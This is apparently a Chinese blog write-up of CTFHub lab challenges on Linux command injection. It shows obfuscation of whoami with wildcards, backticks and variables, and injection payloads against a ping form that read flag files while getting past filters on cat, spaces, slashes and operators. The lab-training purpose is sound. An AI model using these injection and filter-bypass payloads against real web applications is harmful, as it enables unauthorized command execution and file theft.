┌──(root㉿Kali)-[/data] └─# who$4ami root ┌──(root㉿Kali)-[/data] └─# who$*ami root ┌──(root㉿Kali)-[/data] └─# who$@ami root ┌──(root㉿Kali)-[/data] └─# who$0ami who-zshami:未找到命令 Linux通配符我们以执行whoami这个命令来进行测试┌──(root㉿Kali)-[/etc/docker] └─# whereis whoami whoami: /usr/bin/whoami /usr/share/man/man1/whoami.1.gz ┌──(root㉿Kali)-[/etc/docker] └─# /usr/bin/whoam* root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/whoam? root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/wh?am? root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/????mi root ┌──(root㉿kali)-[/etc/docker] └─# /u?r/b?n/????mi root ┌──(root㉿kali)-[/etc/docker] └─# /*/b?n/????mi root Linux中命令中的命令虽然会报错,但是命令也会正常执行┌──(root㉿kali)-[/etc/docker] └─# `666666` 666666:未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# 666666`whoami`6666 666666root6666:未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# `6666`whoami`6666` 6666:未找到命令 6666:未找到命令 root ┌──(root㉿kali)-[/etc/docker] └─# 6666`whoami`6666 6666root6666:未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# w`sfdawfewa`ho`sajfdkljas`am`sdjflk123`i sfdawfewa:未找到命令 sajfdkljas:未找到命令 sdjflk123:未找到命令 root ┌──(root㉿kali)-[/etc/docker] └─# wh${sdf}oam${ddkjdld}i root ┌──(root㉿kali)-[/etc/docker] └─# wh${sdf242341}oam${ddkjdld234232}i root Linux环境变量切割查看环境变量┌──(root㉿251ebe86465a)-[/] └─# echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 查看环境变量的长度┌──(root㉿251ebe86465a)-[/] └─# echo ${#PATH} 60 分割环境变量┌──(root㉿kali)-[/etc/docker] └─# echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/root/.dotnet/tools ┌──(root㉿kali)-[/usr/local] └─# echo ${PATH:0:10} /usr/local ┌──(root㉿kali)-[/usr/local] └─# echo ${PATH:0:1} / 靶场练习CTFHUB 使用&&符号,没有获取到想要的结果,因为&&在前一个命令没有执行结束的时候,是不会执行后面的命令的。当然还有种思路就是指定次数,使用-c参数,这里是没有效果的┌──(root㉿kali)-[~] └─# ping -c 2 127.0.0.1 PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.489 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.106 ms --- 127.0.0.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1004ms rtt min/avg/max/mdev = 0.106/0.297/0.489/0.191 ms ;绕过┌──(root㉿kali)-[~] └─# ping -c 2 127.0.0.1;whoami PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.558 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.047 ms --- 127.0.0.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1008ms rtt min/avg/max/mdev = 0.047/0.302/0.558/0.255 ms root 使用&也可以得到结果,通过将ping命令放到后台执行,后面的结果也会执行[1] => /sys/devices/platform/serial8250/tty/ttyS2/flags payload:127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS2/flags [2] => /sys/devices/platform/serial8250/tty/ttyS0/flags payload:127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS0/flags [3] => /sys/devices/platform/serial8250/tty/ttyS3/flags payload:127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS3/flags [4] => /sys/devices/platform/serial8250/tty/ttyS1/flags payload:127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS1/flags [5] => /sys/devices/virtual/net/tunl0/flags payload:127.0.0.1 & cat /sys/devices/virtual/net/tunl0/flags [6] => /sys/devices/virtual/net/lo/flags payload:127.0.0.1 & cat /sys/devices/virtual/net/lo/flags 这些payload都给你们试过了,没有flag不断执行命令,找到这个web目录中有一个数字.php查看即可得知payload127.0.0.1 & cat /var/www/html/17165225371506.php 查看源码过滤cat题目:过滤了cat命令之后,你还有什么方法能读到 Flag?查看目录,他换了个名字没有cat那么在Linux中还有这样几个命令tac命令是cat命令的反向操作,它会按行读取文件内容,但会以相反的顺序输出。这意味着文件的最后一行将首先显示,而第一行将最后显示。127.0.0.1 &tac /var/www/html/flag_9902871730290.php less命令与more命令类似,也是用于分页显示文本文件的内容,但less提供了更多的导航选项,如向前翻页、向后翻页、搜索文本等。127.0.0.1 &less 5 /var/www/html/flag_9902871730290.php head命令用于显示文件的开头部分,默认显示前10行,但可以通过选项指定显示的行数。127.0.0.1 &head 5 /var/www/html/flag_9902871730290.php tail命令用于显示文件的末尾部分,默认显示最后10行,与head命令相对应。它还可以用于实时跟踪文件的新增内容。127.0.0.1 &tail 5 /var/www/html/flag_9902871730290.php nl命令与cat -b命令相似,用于显示文件内容并在每行前加上行号,但nl提供了更多的格式化选项。127.0.0.1 & nl /var/www/html/flag_9902871730290.php awk是一个强大的文本处理工具,虽然它主要用于模式扫描和处理语言,但在某些情况下,可以使用awk命令以类似于cat的方式显示文件内容,同时添加额外的文本处理功能。127.0.0.1 & awk '{print}' /var/www/html/flag_9902871730290.php more命令用于分页显示文本文件的内容,用户可以通过按空格键翻页,按b键回退,按q键退出。虽然它主要用于分页查看,但在逐页查看文件内容时,与cat命令直接显示整个文件内容的方式形成对比。127.0.0.1 & more /var/www/html/flag_9902871730290.php 过滤空格分析源码,使用preg_match_all函数检查变量$ip中是否包含空格。空格的绕过方式一般有(针对于本题来讲)1、${IFS}代替空格127.0.0.1&ls${IFS}/var/www/html/2、%09相当于tab键127.0.0.1&ls%09/var/www/html/3、大括号{}127.0.0.1&{ls,/var/www/html/}4、重定向字符> <>举例┌──(root㉿kali)-[/data] └─# ping -c 1 127.0.0.1;ls<>-l PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.701 ms --- 127.0.0.1 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.701/0.701/0.701/0.000 ms 谷歌插件 GitHack -l miku payload:127.0.0.1&ls<>/var/www/html/经过测试,上面四种仅有${IFS}成功完整payload127.0.0.1&cat${IFS}/var/www/html/flag_172742853821990.php 过滤目录分隔符题目:这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗?直接使用ls查看目录,没有东西试试%2F127.0.0.1 & ls %2Fvar%2Fwww%2Fhtml 那我们直接ls使用cd和;进行多行命令执行即可,一级目录一级目录的cd即可127.0.0.1;cd flag_is_here;cat flag_31328570616525.php 过滤运算符题目:过滤了几个运算符, 要怎么绕过呢?分析源码,过滤了运算符,但是也没完全过滤,少了个;;即可127.0.0.1;cat flag_5393398119154.php 往期文章推荐Love-Yi情侣网站存在SQL注入漏洞【kali笔记】 Kali Shell编程从基础到进阶【kali笔记】Metasploit Framework (MSF) 从基础到进阶使用指南SQL注入绕过某狗的waf防火墙,这一篇就够了,6k文案超详细我的《护网奇遇记》
2025年05月18日
1,073 阅读
0 评论
0 点赞
1
...
10
11
12
...
15